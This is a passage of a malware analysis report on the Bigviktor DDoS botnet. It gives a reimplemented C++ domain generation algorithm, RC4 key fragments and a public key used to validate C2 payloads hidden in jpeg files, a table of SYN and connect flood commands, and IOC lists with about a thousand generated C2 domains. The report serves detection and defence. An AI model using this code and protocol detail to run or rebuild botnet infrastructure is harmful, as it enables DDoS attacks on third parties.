000000f0 59 51 e7 0b cf a7 d0 1a 94 e8 ed c2 cc f2 21 17 |YQç.ϧÐ..èíÂÌò!.|
00000100 e5 7a b5 6f 84 66 8a a1 c1 18 52 cb 50 38 6b ea |åzµo.f.¡Á.RËP8kê|
00000110 4b 10 13 56 13 b4 9c b2 3b b4 3e 4c 3c cc 01 cc |K..V.´.²;´>L<Ì.Ì|
00000120 81 ab 13 97 6c 49 e7 85 54 5f d0 92 3f 9b 7d a8 |.«..lIç.T_Ð.?.}¨|
00000130 44 72 81 54 50 4f e1 7f b5 fd 1a 78 3b 14 e3 d4 |Dr.TPOá.µý.x;.ãÔ|
</code></pre>
<p>After decryption</p>
<pre><code>00000000 61 72 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |art.............|
00000010 63 6c 69 63 6b 00 00 00 00 00 00 00 00 00 00 00 |click...........|
00000020 63 6c 75 62 00 00 00 00 00 00 00 00 00 00 00 00 |club............|
00000030 63 6f 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 |com.............|
00000040 66 61 6e 73 00 00 00 00 00 00 00 00 00 00 00 00 |fans............|
00000050 66 75 74 62 6f 6c 00 00 00 00 00 00 00 00 00 00 |futbol..........|
00000060 69 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |in..............|
00000070 69 6e 66 6f 00 00 00 00 00 00 00 00 00 00 00 00 |info............|
00000080 6c 69 6e 6b 00 00 00 00 00 00 00 00 00 00 00 00 |link............|
00000090 6e 65 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |net.............|
000000a0 6e 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |nl..............|
000000b0 6f 62 73 65 72 76 65 72 00 00 00 00 00 00 00 00 |observer........|
000000c0 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 |one.............|
000000d0 6f 72 67 00 00 00 00 00 00 00 00 00 00 00 00 00 |org.............|
000000e0 70 69 63 74 75 72 65 73 00 00 00 00 00 00 00 00 |pictures........|
000000f0 72 65 61 6c 74 79 00 00 00 00 00 00 00 00 00 00 |realty..........|
00000100 72 6f 63 6b 73 00 00 00 00 00 00 00 00 00 00 00 |rocks...........|
00000110 74 65 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 |tel.............|
00000120 74 6f 70 00 00 00 00 00 00 00 00 00 00 00 00 00 |top.............|
00000130 78 79 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 |xyz.............|
</code></pre>
<h4 id="4accessalegitwebsitetotestnewtorkconnectivityandobtainthecurrentdate">4: Access a legit website to test newtork connectivity and obtain the current date</h4>
<p><a href="__GHOST_URL__/content/images/2020/07/bikviktor_white.png"><img src="__GHOST_URL__/content/images/2020/07/bikviktor_white.png" class="kg-image"/></a><br>
The legit websites can be decrypted by RC4, and we got the following sites</p>
<pre><code>jd.com weibo.com vk.com
csdn.net okezone.com office.com
xinhuanet.com babytree.com livejasmin.com
twitch.tv naver.com aliexpress.com
stackoverflow.com tribunnews.com yandex.ru
soso.com msn.com facebook.com
youtube.com baidu.com en.wikipedia.org
twitter.com amazon.com imdb.com
reddit.com pinterest.com ebay.com
tripadvisor.com craigslist.org walmart.com
instagram.com google.com nytimes.com
apple.com linkedin.com indeed.com
play.google.com espn.com webmd.com
cnn.com homedepot.com etsy.com
netflix.com quora.com microsoft.com
target.com merriam-webster.com forbes.com
tmall.com baidu.com qq.com
sohu.com taobao.com 360.cn
tianya.cn
</code></pre>
<p>Visit one of these URLs to get the current date, which will be used in DGA.</p>
<pre><code>format %a, %d %b %Y
Fri, 10 Jul 2020
</code></pre>
<h2 id="maliciousbehavior">Malicious behavior</h2>
<h4 id="1usethec2domainnamegeneratedbydga">1: Use the C2 domain name generated by DGA</h4>
<p>The format of the domain name is<code> [prefix.]verbe[-]adjective[-]noun.surfix</code>, the content in [] indicates optional, theprefix has 40 words, the verbe has 100 words, the adjective has 525 words, noun has 1522 words, and surfix has 20 words. The algorithm is implemented as follows</p>
<pre><code> void GenNewKey(uint32_t &key)
{
uint32_t tmp = key ^ (key << 13) ^ ((key ^ (uint32_t)(key << 13)) >> 17);
key = tmp ^ 32 * tmp;
};
string c2url;
GenNewKey(seed);
//1:prefix part
if (seed % 5 == 0)
{
GenNewKey(seed);
c2url += prefix[seed % 40];
c2url += ".";
}
//2:verbe part
GenNewKey(seed);
c2url += verbe[seed % 100];
GenNewKey(seed);
if (seed % 10 <= 1)
c2url += "-";
//3:adj part
GenNewKey(seed);
c2url += adj[seed % 525];
GenNewKey(seed);
if (seed % 10 <= 1)
c2url += "-";
//4:noun part
GenNewKey(seed);
c2url += noun[seed % 1522];
c2url += ".";
//5:surfix part
GenNewKey(seed);
c2url += surfix[seed % 20];
</code></pre>
<p>The current date converts into a string with format<code>%b %Y 00:00</code> and the initial key is the first 4 bytes of the SHA256 value of the string, for example</p>
<pre><code>currtent date: Fri, 10 Jul 2020
format ---->Jul 2020 00:00
sha256 ---->6ac0f83915ed5d7b9bb7055723084df001b16a552d758de3c415f083f931ab8c
get first 4 bytes ----> key=0x6ac0f839
</code></pre>
<p>Therefore, the DGA doamin is different every month. Taking the July key (0x6ac0f839) as an example, the first 5 domains generated</p>
<pre><code>c2url: decidefresh-county.in
c2url: payculturaltour.org
c2url: standvisiblereach.rocks
c2url: meanforwardcap.top
c2url: raisefitsize.rocks
</code></pre>
<p>When we observe the actual DNS data in packet, we can see the result matches.<br>
<a href="__GHOST_URL__/content/images/2020/07/bigviktor_first5.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_first5.png" class="kg-image"/></a><br>
See the end of the article for all DGA domains in July.</p>
<h4 id="2getthecurrenteffectivec2">2: Get the current effective C2</h4>
<p>To connect to a vaild C2, Bigviktor start from a random position of the 1000 DGA domains. If there is no valid C2, it goes back to the first domain name and start over again.<br>
In order to ensure that the network is completely controllable and not stolen by others, Bigviktor will verify the signature of the s.jpeg file. Only after passing the signature verification, a C2 is deemed valid.</p>
<p><a href="__GHOST_URL__/content/images/2020/07/bigviktor_sjpeg.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_sjpeg.png" class="kg-image"/></a></p>
<p>The real payload encryption is hidden in the jpeg (<code>s.jpeg;image.jpeg</code>)file. The structure of jpeg is <code>IMAGE DATA(16 BYTES): Half-RC4 KEY(16 BYTES): Ciphertext</code>. Each <code>sample</code> integrates a Half-RC4 KEY(16 BYTES),each <code>payload</code> integrates a Half-RC4 KEY(16 BYTES), two Half-RC4 keys are spelled into a complete RC4 key(32 BYTES); also a hard-coded <code>ECDSA256 public key</code> is used to verify the decrypted payload.</p>
<pre><code> Half-RC4 KEY:
82 BC 09 D5 47 A9 37 27 8F ED F1 7B 29 2A FA 67
Pub KEY:
03 2F 37 51 43 1F A3 58 81 66 86 F7 BA 4C A2 30
45 2C 9B 9E 12 9A E9 97 CF 69 09 CF 7F 42 D4 97 88
</code></pre>
<p>Take s.jpeg(md5:4c6d0bed21bc226dbaf4e6adc7402563) as an example<br>
<a href="__GHOST_URL__/content/images/2020/07/bigviktor_de.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_de.png" class="kg-image"/></a></p>
<p>Splice out the complete RC4 key</p>
<pre><code> Half RC4 KEY from s.jpeg + Half Rc4 from sample
------------------------------------------------------
46 00 B2 65 B0 3F 97 7F CF CB 65 31 1F D2 B3 A0
82 BC 09 D5 47 A9 37 27 8F ED F1 7B 29 2A FA 67
</code></pre>
<p>Decrypt Ciphertext to get<br>
<a href="__GHOST_URL__/content/images/2020/07/bigvitor_deres.png"><img src="__GHOST_URL__/content/images/2020/07/bigvitor_deres.png" class="kg-image"/></a><br>
When the verification is successful, a valid C2 is obtained.The procedures of verification need to meet these condition</p>
<ul>
<li>signature verification</li>
<li>Plaintext[2] ==\x00,Plaintext[3] ==\x09</li>
<li>C2 in the plaintext is same as the Dga domain which responds to the s.jpeg request.</li>
</ul>
<h4 id="3askforspecifictasksfromc2">3:Ask for specific tasks from C2</h4>
<p>After the Bot obtains a valid C2, it will request the image.jpeg resource from C2<br>
<a href="__GHOST_URL__/content/images/2020/07/bigviktor_task.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_task.png" class="kg-image"/></a><br>
Similarly, image.jpeg also needs to be decrypted and verified. After successful verification, the Bot will perform the corresponding DDos attack or update according to the instructions of image.jpeg.</p>
<p>Bigviktor supports a total of 8 operations,</p>
<table>
<thead>
<tr>
<th>cmd</th>
<th>cmd description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>null</td>
</tr>
<tr>
<td>2</td>
<td>connect attack</td>
</tr>
<tr>
<td>3</td>
<td>tcp syn attack with fixed source ip</td>
</tr>
<tr>
<td>4</td>
<td>tcp syn attack with random source ip</td>
</tr>
<tr>
<td>6</td>
<td>update</td>
</tr>
<tr>
<td>7</td>
<td>tcp syn attack with random sourceip from male.jpeg</td>
</tr>
<tr>
<td>8</td>
<td>tcp syn attack with random sourceip from male.jpeg</td>
</tr>
<tr>
<td>9</td>
<td>null</td>
</tr>
<tr>
<td>Take a payload from June,image.jpeg(md5:<code>2e8c223f8ac1f331c36acd32ee949f6f</code>) as an example</td>
<td></td>
</tr>
<tr>
<td><a href="__GHOST_URL__/content/images/2020/07/bigviktor_raw.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_raw.png" class="kg-image"/></a></td>
<td></td>
</tr>
<tr>
<td>Decrypt Ciphertext to get</td>
<td></td>
</tr>
<tr>
<td><a href="__GHOST_URL__/content/images/2020/07/bigviktor_attack.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_attack.png" class="kg-image"/></a></td>
<td></td>
</tr>
<tr>
<td>We can see that bot will launch "connect" ddos attack and the target is 202.162.108.55:80. The result matches the pcap info.</td>
<td></td>
</tr>
<tr>
<td><a href="__GHOST_URL__/content/images/2020/07/bigviktor_pcap.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_pcap.png" class="kg-image"/></a></td>
<td></td>
</tr>
</tbody>
</table>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360netlab">twitter</a>, or email to netlab at 360 dot cn.</p>
<h2 id="ioc">IOC</h2>
<p>Sample MD5</p>
<pre><code>7b1ab096b63480864df7b0dcfebe2e2e
dd7c9d99d8f7b9975c29c803abdf1c33
</code></pre>
<p>URL</p>
<pre><code>http://91[.219.75.87/binary
http://91[.219.75.87/arm7
</code></pre>
<p>C2-IP</p>
<pre><code>151.80.235.228 AS16276|OVH_SAS France|Hauts-de-France|Gravelines
</code></pre>
<p>C2-Domain</p>
<pre><code>useinsidehigh.com:80
writeseparateliterature.com:80
</code></pre>
<p>Payload</p>
<pre><code>4c6d0bed21bc226dbaf4e6adc7402563 s.jpeg
2e8c223f8ac1f331c36acd32ee949f6f image.jpeg
</code></pre>
<p>DGA domains in July</p>
<pre><code>decidefresh-county.in
payculturaltour.org
standvisiblereach.rocks
meanforwardcap.top
raisefitsize.rocks
www2.tellapartspring.realty
expectrawknee.com
decidesurepizza.rocks
img.leavetall-sky.nl
dodifferentuser.fans
become-thatspare.futbol
play-better-parent.observer
telldesignerpanic.art
appear-weakrate.observer
support.showremote-conclusion.fans
raiseover-piano.org
meancoolpick.pictures
bringjunior-bench.art
ssl.remainunhappyboy.info
readafterask.net
leavelogicalambition.tel
takedramaticprimary.rocks
test.likerarereality.xyz
cloud.runconstantnerve.fans
stopseafemale.observer
offer-individualthroat.fans
meanthickprivate.info
turnfederalemploy.art
tellcold-top.one
mail2.comefirmdeposit.nl
liketypicalcorner.net
buyliving-balance.observer
video.continueleft-contact.nl
askformer-mission.top
learnaggressive-she.org
email.hearlateformal.in
keepunitedbirth.art
turntruebreakfast.futbol
cutmaingolf.art
dev.likefemalepush.rocks
dev.holdfeelingpreference.click
findvariousfish.tel
tftp.seempowerful-south.art
video.comepureproposal.link
watchcapable-sample.rocks
growborn-law.click
bringefficientvalue.one
beginlower-man.nl
speakoriginalworld.one
putmoneyearth.fans
have-wastebutton.futbol
findwildcollar.info
livepotentialdebt.pictures
mail.pull-capableprofession.tel
passbornsafe.rocks
spendcuteform.realty
walkgrandspot.pictures
take-scaredline.art
set-expensiveice.click
getnovelscratch.in
look-existinghang.com
cloud.considerunhappymain.click
www.hold-futuredisk.rocks
openlegalbus.fans
blog.hearfreshmachine.tel
mail.callthatcouple.click
leaveswimming-cold.one
go-healthyproject.observer
meanconnect-construction.nl
walknervous-video.nl
becomelast-western.com
remembersquare-sale.info
provide-roundwill.com
blog.standswimming-double.rocks
secure.seem-famoushire.tel
speakotheropening.org
holdsudden-psychology.top
hold-frontfilm.one
bringbusinesshold.realty
giveacceptablepay.link
allowremoteindependent.pictures
helpsillyhate.click
knowyellowinstruction.info
seeinternationalmachine.art
considermalescrew.click
paylife-camp.tel
makeold-course.com
www2.becomewarmrefrigerator.nl
download.decidewisecourt.rocks
lose-originalemployer.observer
leadeastprompt.futbol
changeconfidentboot.art
waitcornermountain.club
ww1.understandlegal-cancel.link
suggest-global-other.realty
changeluckytitle.com
playprivateconstruction.art
blog.mean-anyimagination.info
decide-currentemployment.top
considerupsetvirus.fans
letcornercurve.fans
talkfamousfather.club
findvastcoat.org
mail2.use-farbitter.org
remember-chemical-status.tel
vpn.try-signalsort.org
addhappyswim.xyz
standsuddeninternal.tel
raiseanxiousguitar.one
speak-weekly-hire.org
needclosetonight.realty
mail.fallfrequent-affair.fans
startpregnantreference.pictures
appeartight-fun.fans
cutplastic-drag.club
worksea-assumption.com
buytrainingdrag.one
needfemalebrown.futbol
want-mountainform.observer
pop.getless-remove.pictures
mail2.runelectronic-collar.fans
raiselogicalpin.tel
believeextraorganization.realty
remote.servepleasant-cloud.pictures
allowotherdesire.in
set-partycount.realty
diecutemuscle.net
start-sexualfactor.net
dienearbychart.xyz
ns1.requireanxiousflight.nl
a.happenaction-item.tel
secure.reportperfectyouth.xyz
runtraditionalact.observer
becomeunfairsugar.info
news.growfrontclimate.tel
images.expectpurplewriter.pictures
images.seemmaterialvegetable.pictures
runsuitablestruggle.xyz
appearfullfoundation.tel
sellharddead.in
continuebothpipe.com
watchvegetabledatabase.click
stopmiddleapple.net
use-sweetdebt.rocks
meet-purechurch.club
hearduewarning.nl
adddifferent-reference.nl
download.takehousemom.click
buildrawcloset.xyz
putactualsecond.realty
move-muchagreement.club
vpn.letfirst-concept.observer
th.sitthin-character.rocks
www2.dieseparatefeed.in
blog.buyextremeatmosphere.click
believelegalscale.info
buildappropriatestable.net
watch-coolproject.fans
doalternativeseries.link
pull-inevitable-medicine.org
staybroadcost.fans
seeofficial-thanks.net
readlostdiscount.art
serve-redtour.fans
showleatherloss.click
x.putweird-situation.net
loseanotherdisease.realty
mail2.become-alternativeside.futbol
setimpressive-sign.click
x.appearavailablebad.realty
startunusual-status.futbol
noc.waituglyclick.org
download.buildthinkreserve.fans
expectvegetablecurrency.xyz
ftp.spenddirtyrepublic.tel
email.die-prettycandle.art
pop.make-active-pass.click
lovebeginningvast.realty
includeotherwisefamily.xyz
work-historicalarm.nl
passclosescience.pictures
a.sitloud-damage.info
addinternalfreedom.futbol
set-okconcert.realty
requireenvironmentalhelp.nl
download.need-beginningfinal.art
offerdecent-twist.in
dieoriginalpeak.futbol
learnremarkabledefinition.futbol
killembarrassedclient.net
killterriblerecord.tel
images.createrichdisplay.observer
holdlowerfunny.fans
sitsorrycash.realty
playprevioustrain.net
changewestbar.net
showaggressivedamage.nl
feelnecessary-counter.click
liveproudconsequence.realty
try-decent-joint.info
trylatter-trainer.com
showsick-crack.tel
help-animal-boyfriend.org
followpropercollar.nl
take-cultural-white.futbol
workindividualpull.click
dosecuregeneral.link
likeseaprogress.art
worktrueamount.info
pullmalechurch.info
loseseaconstruction.realty
addliveruin.top
writerelevanteast.com
helpsquare-ticket.org
start-unlikelyspring.top
cutrepresentativeslice.xyz
seemiddle-cigarette.in
stopafternoonhistory.xyz
comedrunkindustry.rocks
workenvironmentalthing.club
considerover-expression.xyz
reportcreative-advance.rocks
remainfemaleblind.observer
leavewildcarry.observer
web.mean-businessgreen.observer
followworkstar.futbol
allowamazing-operation.click
gw.havefreshversion.org
remembergrosssingle.click
likecutedevelopment.info
images.showwest-funeral.club
letclassicrefrigerator.in
sayinterestingshow.com
writesufficientglad.click
test.considerusefuldrawing.art
liveslowstar.link
comebudget-improvement.com
setconfidentessay.link
happenunablerock.tel
sitapartdepartment.org
continueopenmap.com
test.writepretendcheek.one
build-representative-score.club
happen-eithermajor.realty
ssl.passplasticdiscussion.observer
killbestinevitable.futbol
pullelectricaltone.observer
img.movemeanadvertising.in
startsuccessfulsick.link
createinevitablelayer.one
setwinterfee.pictures
allow-exactsport.info
helpapartpossession.org
gw.appearsuchquality.com
becomefutureleather.xyz
use-leastmarriage.xyz
includebestjacket.rocks
cam.turn-federalnovel.tel
meetelectricalmain.click
pop.needmajor-pin.com
noc.sit-royaltrouble.net
offerwildincome.top
remote.heareveningwhole.xyz
serveokexchange.click
come-totalsignature.club
offerlowersimple.one
test.cutforwardnasty.nl
livemassive-give.org
ssl.understandweird-chocolate.info
becomeparkingpositive.fans
know-excitingappointment.realty
playtemporaryhand.tel
growdaughtercross.in
reportculturaldistance.club
decide-physicalexam.com
sell-ordinaryradio.com
buy-big-reason.org
ww1.bedependenthospital.top
th.continuenexttop.in
feelenoughmedicine.net
continueflat-meet.org
hearresidentworry.futbol
servesufficientplace.art
x.leadnervouspresident.info
suggestminorconcept.link
img.providecomprehensivenerve.nl
winloosefeedback.nl
findoppositebonus.one
change-evenexplanation.link
walkdeadluck.futbol
sitbusiness-note.rocks
happenfungather.fans
offer-characterdiamond.xyz
know-first-background.link
dev.show-trainingdouble.in
keepmanycard.top
ns1.makechance-chapter.click
reportsparegear.one
images.remainthin-wall.observer
lovesuperconsideration.rocks
www.dostraightcalm.observer
letfutureslide.one
findmediumlog.net
require-globalfix.fans
keep-forwardsomewhere.link
bringparkingperception.observer
web.fallleastcamera.top
showparkingconcern.futbol
find-worksun.one
web.tellaccuratefoot.club
tellleft-scene.observer
appeartop-writing.link
likeextremecategory.info
learnheadexchange.realty
passlogicalminor.link
asktotalfile.in
watchasleeplight.futbol
bringpluscan.futbol
email.be-careful-midnight.one
video.offer-psychologicalknowledge.info
seemostuncle.realty
ftp.takelegalcourt.observer
followwillingpsychology.link
continueexactresponse.observer
shop.seeplentyboot.pictures
ns1.make-wonderful-hold.observer
pop.sayalonelight.realty
include-severe-society.click
followsuspiciousmoment.nl
tftp.includerepresentativepost.xyz
helpsuccessfultitle.top
includevisualconsideration.observer
bringafraidslide.realty
learnchancetelephone.info
movesmallentrance.org
give-superdate.nl
requiredaymoment.in
likeactionif.futbol
noc.likeemotionalpreference.one
openhorror-tie.realty
expectevenmilk.top
meanactioninternet.link
images.begreen-simple.one
includeleather-she.pictures
talkawareissue.club
sayindependentplayer.xyz
changeillegalriver.info
seelongthroat.observer
playanxiousrole.info
feelminutedegree.observer
follownastymountain.rocks
tellprettyegg.org
passactualstable.observer
mail2.leadbestmistake.observer
help-aliveresearch.info
runsalt-college.com
tellbest-necessary.link
requireannualpolice.pictures
pullyoungview.realty
makedarkcontract.observer
shop.help-healthythought.net
remain-practicaloutside.observer
sellenvironmental-harm.futbol
stop-thismilk.info
includeuniquecandle.pictures
thinkrelevantchildhood.org
webmail.waitspecialistcompany.in
seem-brilliant-device.futbol
takerightpartner.observer
mail.useplanebus.fans
thinkperfectcompany.tel
appearpresentshirt.realty
bringupstairscommunity.club
keep-electronicinteraction.in
fallnice-blue.link
sendappropriatefuneral.info
tellawaydesign.top
tftp.runswimmingimprovement.fans
lookthenpositive.pictures
moveplastic-history.top
havewildhit.com
cloud.playsouthnormal.nl
setswimmingsuit.in
movepositivemove.link
playgrosslandscape.art
createnextguest.rocks
gominutepie.club
killfemaleprofile.click
spendimmediaterush.club
openweekly-watch.one
dev.believedesignercharacter.in
try-redcommittee.com
tftp.providestill-thing.net
includemothermiddle.realty
smtp.writebeginningitem.xyz
open-proudprinciple.com
noc.expectbravewonder.art
readcivil-slip.click
go-motorprofessor.click
feeldramaticdig.pictures
beexcellentangle.xyz
startafterchemistry.xyz
vpn.give-formerhat.top
writefunnyassignment.fans
webmail.buy-roughcigarette.fans
giverawdistrict.xyz
come-historicalinstruction.org
mail2.tellannualarrival.observer
server.find-simpleincrease.in
img.live-informal-desk.futbol
buildefficientstaff.rocks
seeguiltybike.futbol
allowtypicalmonitor.link
look-famousexcitement.nl
lead-awaybar.observer
readdresssense.link
www1.rememberlocalgift.in
buildusualrisk.observer
work-extremestop.link
read-educationalpanic.net
expectagohusband.in
includepowerfulworker.info
losewholeauthor.com
work-wastedivide.in
sellbig-test.org
require-livingmeaning.com
spendusedchildhood.click
needvaluableanywhere.pictures
likesoftbowl.net
helpcivil-net.org
callupstairseconomy.link
readkitchenmotor.click
fallcalmanimal.pictures
email.takefederal-leading.xyz
wait-rareenergy.com
needsaltswim.click
winlower-command.in
tellhugecandidate.one
reportrawchapter.xyz
beginaccurateoriginal.tel
setshotguard.one
remote.turnpartyengineer.club
buyhousecomfortable.com
turn-successful-official.observer
tftp.walkmediumgroup.futbol
fallpriorshopping.futbol
waitpleasantquality.rocks
showscaredsquare.one
stop-closecard.tel
moveminimum-self.rocks
support.followholidayairline.observer
playdarksociety.top
sitenoughdetail.net
becomeaccurateuser.rocks
workheavybrief.fans
setafteradult.net
makewhat-title.club
hear-relative-philosophy.observer
keepmoneygrade.pictures
spend-firstinterest.art
asklocalnasty.link
talk-alive-family.nl
sell-significantoccasion.top
bedressfold.fans
waithappysell.top
lead-lostsurround.link
findinternalmain.realty
think-legalresult.link
www2.dofullhold.club
beordinarynews.art
pass-wineunit.nl
appearemergencytruth.info
turndistinctscreen.nl
leadfederalwater.top
think-capable-concentrate.in
bringdrunk-monitor.com
set-joint-equivalent.com
understandinnercompany.art
loveleather-extent.click
trypatient-detail.one
appearminutehunt.one
askinteresting-daughter.club
ssl.expectupsetif.club
rundesperatebook.tel
speakdressinternet.com
needcuriousfootball.top
noc.stayaccuraterelative.link
bringshotdemand.com
movefreenature.com
ww1.changeshotprofit.pictures
standsexual-instruction.com
readweakpoint.realty
growrealistictext.realty
knowunfairprocedure.futbol
appear-leading-jacket.observer
news.losefairsuit.top
pullleading-promotion.top
looklessparent.xyz
likeoutsidepresence.one
webmail.talk-normalred.link
look-small-image.org
show-clean-command.art
startfriendlyconstant.info
lookwholebelt.xyz
learn-sweetcream.top
dieeitherimage.com
suggestfunny-salt.link
sithealthymembership.info
playculturalresponsibility.com
saygeneralprize.pictures
appearhonestcup.org
begin-leftspare.one
believepublicpermit.in
mail2.lookcreativeintroduction.in
fall-capablepersonal.in
hearnorth-fortune.com
learncuriousideal.link
remote.havecompletesoil.net
dosmoothhousing.info
reachinternationalchapter.one
understandafternoon-oven.art
provideenoughrich.one
web.showplanegrandfather.in
report-existinginstruction.tel
dodecent-entry.in
becomestreetnose.info
video.gomaterialcap.realty
killtemporarybrush.com
th.lookpracticalteacher.one
hear-basiccrew.realty
talkexpertbirthday.realty
mail2.get-evenversion.art
comeadultfamily.art
smtp.understandillegal-great.one
img.addangrylip.in
stopsilvernews.nl
continue-mentaleffort.xyz
dieafternoonvisual.click
trywhite-juice.club
ask-betterequipment.nl
go-awareinflation.rocks
provideeducationaltie.link
loveunfairlow.org
buildnational-preference.realty
readvariousengineer.one
learndry-possible.click
expectunlikelygrand.info
raise-weekly-till.net
take-rare-figure.xyz
seeplasticbeing.click
leavekindeducation.club
includecorrectmembership.futbol
continueinitialgrocery.realty
workrelevant-tackle.observer
feelinternal-grandfather.link
playsafeunion.link
know-deep-brick.nl
offerillegaldrink.fans
writeoldpolice.one
offerdowntown-stand.top
spendopeningchart.realty
losefewmouth.org
staymaterialcash.observer
sitpastgirl.futbol
providetraditionalanybody.realty
buildnicelake.one
www2.killnumerousdriver.nl
haveappropriatewhite.realty
dovegetableguard.tel
mail.sendconsistentsafety.info
remember-independentstorm.net
startequivalentship.org
think-leftcapital.pictures
work-basicexpert.info
considerhonest-north.nl
a.callresponsible-difference.observer
walktimefuneral.one
allowroundminute.xyz
gounable-administration.tel
th.sendsilverscale.link
pull-particular-trainer.net
movegreengrowth.futbol
rununhappysecretary.fans
leaveangryextreme.link
loseeast-possibility.pictures
live-prettyhalf.fans
images.cutnegativeentrance.club
beginslight-application.nl
understandboring-drink.click
secure.askafterjoin.realty
learnstillintroduction.click
comegladsalt.realty
sitgrandbench.art
watcheducationalcloset.nl
appearoldboss.tel
remainmaximumrepublic.fans
buyavailablestay.net
play-happyrefrigerator.tel
understand-leftnet.tel
spendgamenurse.tel
add-localmuscle.art
understandvisiblefire.rocks
www.runjuniorstress.observer
runold-response.art
continuepracticalswitch.observer
sellextension-fall.click
start-negativecourse.com
spendlegalrepeat.com
diecornerconsideration.click
leadresident-drive.futbol
www.payforeignglad.club
play-logical-unit.net
become-used-grass.pictures
cutsubstantialdeal.rocks
standfinalbid.art
leaddependenttale.futbol
die-used-back.in
play-flatambition.nl
raiseagent-pressure.art
openthenmouse.top
readobviouscow.info
useresidentfunction.tel
standafterpicture.observer
raise-proofmight.xyz
needfarking.club
showseriousback.art
smtp.sitprizerelative.observer
raiseextensionmuscle.art
know-financiallecture.rocks
lookdeepmake.com
providenewexamination.click
keep-constantfinish.click
feelconnectconcert.link
noc.buildacceptablewait.futbol
openexactanimal.one
send-bestweb.one
expectstrangeprocedure.realty
passsevereconfidence.club
x.setentire-cup.pictures
server.thinkpurplerepeat.info
download.paytightcomparison.top
goagent-read.in
sendcapital-recording.xyz
follow-femaleside.nl
likecoldclient.net
happen-sparelay.click
makedecent-individual.net
waitwhite-bit.nl
sellwestreport.fans
work-realisticdevelopment.art
goworkingprize.rocks
do-plenty-cross.realty
takethink-force.observer
suggestsevereblood.art
meandirtybox.nl
admin.loveeastfood.org
staymental-energy.xyz
go-local-gap.club
email.servepoliticalhighway.org
callnorthkiss.club
email.takesilver-impact.rocks
sellweirdsensitive.club
staydifferentobject.nl
writesilverstruggle.net
server.allowdrunkabuse.com
livestatusnail.in
movetimething.nl
reportresponsibleswitch.tel
writeseparateliterature.com
sitnearby-tackle.nl
addpsychologicalbuilding.org
buy-moremarch.click
serveofficialpoint.art
comesmartfeeling.one
ww1.be-lostwindow.net
addavailablekind.xyz
bringupstairs-adult.realty
set-consistent-property.one
watchaggressivecategory.info
begin-both-branch.futbol
th.runroutineinvite.net
stopproofcommission.info
play-culturalplate.nl
www2.read-incident-branch.net
comeeitherhelp.tel
appearlegalprocedure.net
seemmiddledelay.tel
meancreativecommittee.org
www1.believesimilar-thing.futbol
expectsouthinevitable.futbol
seemdress-homework.top
happen-homewave.rocks
addpuretop.art
tellreasonabledocument.click
growminimumtelevision.net
pop.come-awareyard.net
understandvisualstation.tel
secure.giveglad-city.art
likenearbystomach.realty
losecoolanalysis.fans
getoriginaltrash.click
includefamousdrag.fans
spendfamiliar-gather.tel
workmanychampionship.futbol
learnanother-inside.tel
sitbrightrope.com
openunhappypicture.futbol
www.trywide-principle.futbol
changeminor-march.futbol
workgeneraltrick.info
add-criticalvoice.art
buystraightdeep.fans
sayintelligentaspect.click
liveplasticcounty.click
decideillegalquality.top
feelgold-series.pictures
bbs.dodrunkanything.com
remainbothfeel.fans
bringeasttruck.com
createobviouspeople.top
considerproperproduct.com
adddeepresolve.link
help-recentspeech.pictures
happen-southcountry.art
servecorner-strength.com
email.likemobilelocation.click
readborn-access.pictures
a.takeuglyparent.com
meanmountainpride.click
believe-headrise.club
runaccordingload.nl
th.winrealpriority.rocks
hearnewnegative.observer
includedifferentdetail.observer
buildchickentraffic.fans
use-physicaldepression.tel
considerpowerfulfruit.observer
test.buy-timeshoulder.com
playsuddenbird.in
killseveral-city.one
takesignalincident.in
work-reasonablebreak.pictures
besadenvironment.art
showeastyard.one
seeprettyinspector.in
buygladexchange.art
raiseeastbedroom.xyz
letmad-juice.in
expecthappydrop.nl
begin-ordinarystupid.rocks
goaggressivenasty.xyz
writegloballandscape.in
putenvironmentalimagination.futbol
wantbrightear.one
consider-culturalmenu.net
pay-cornerfat.one
suggest-relativereputation.tel
cam.lookfewnewspaper.nl
turn-everybitter.net
find-cooloutcome.info
continueexpertcontract.tel
holdthickshift.observer
helpdeepsnow.click
trybitter-twist.pictures
pop.offersingle-preparation.in
seemsingleroof.observer
bbs.requireobviouscandle.xyz
turnroughcandy.net
hearnextchest.pictures
openhardmanagement.com
think-exactstroke.top
beginannualgirl.in
providechemical-release.top
th.usebestpull.com
www.dolatefruit.org
providebasicmiddle.org
secure.lookstupidvaluable.click
thinkrelevant-sail.nl
givelogical-brain.net
watchpotentialinitial.info
startinternalgolf.net
www.happen-openingcake.club
tftp.pullleastbeing.art
helpsaferepeat.com
thinksmartfact.net
cloud.let-specialcomparison.net
vpn.sellroughswitch.pictures
go-hungrycarpet.art
follownaturalmeasurement.futbol
stand-inevitabletradition.info
server.speakgooddog.futbol
feelsexualisland.observer
understandinternationalphrase.art
sellnativeself.nl
love-perfecthealth.link
a.waitloud-currency.observer
secure.raise-illdeparture.futbol
knowenvironmentalambition.observer
cam.believesaltleading.observer
thinkdeadsurprise.fans
offerfalse-education.observer
remainactive-beach.pictures
www1.raisefederalclimate.club
watchworkhalf.observer
serveokfinish.info
www2.reportcuriouswait.link
run-classicspray.tel
meetpastaccident.tel
playplasticaccount.club
standvaluablestay.com
runtraditionalmess.in
dev.move-significant-assignment.club
considercompletequality.one
addbornticket.one
ftp.createsorrymembership.nl
providefriendlycity.net
ssl.lovegreatglad.realty
wanteconomywash.net
gw.setusualdouble.realty
openminorboot.tel
becivilappearance.rocks
support.callactualsimple.click
rememberbasicsuggestion.one
saycompetitiveseat.in
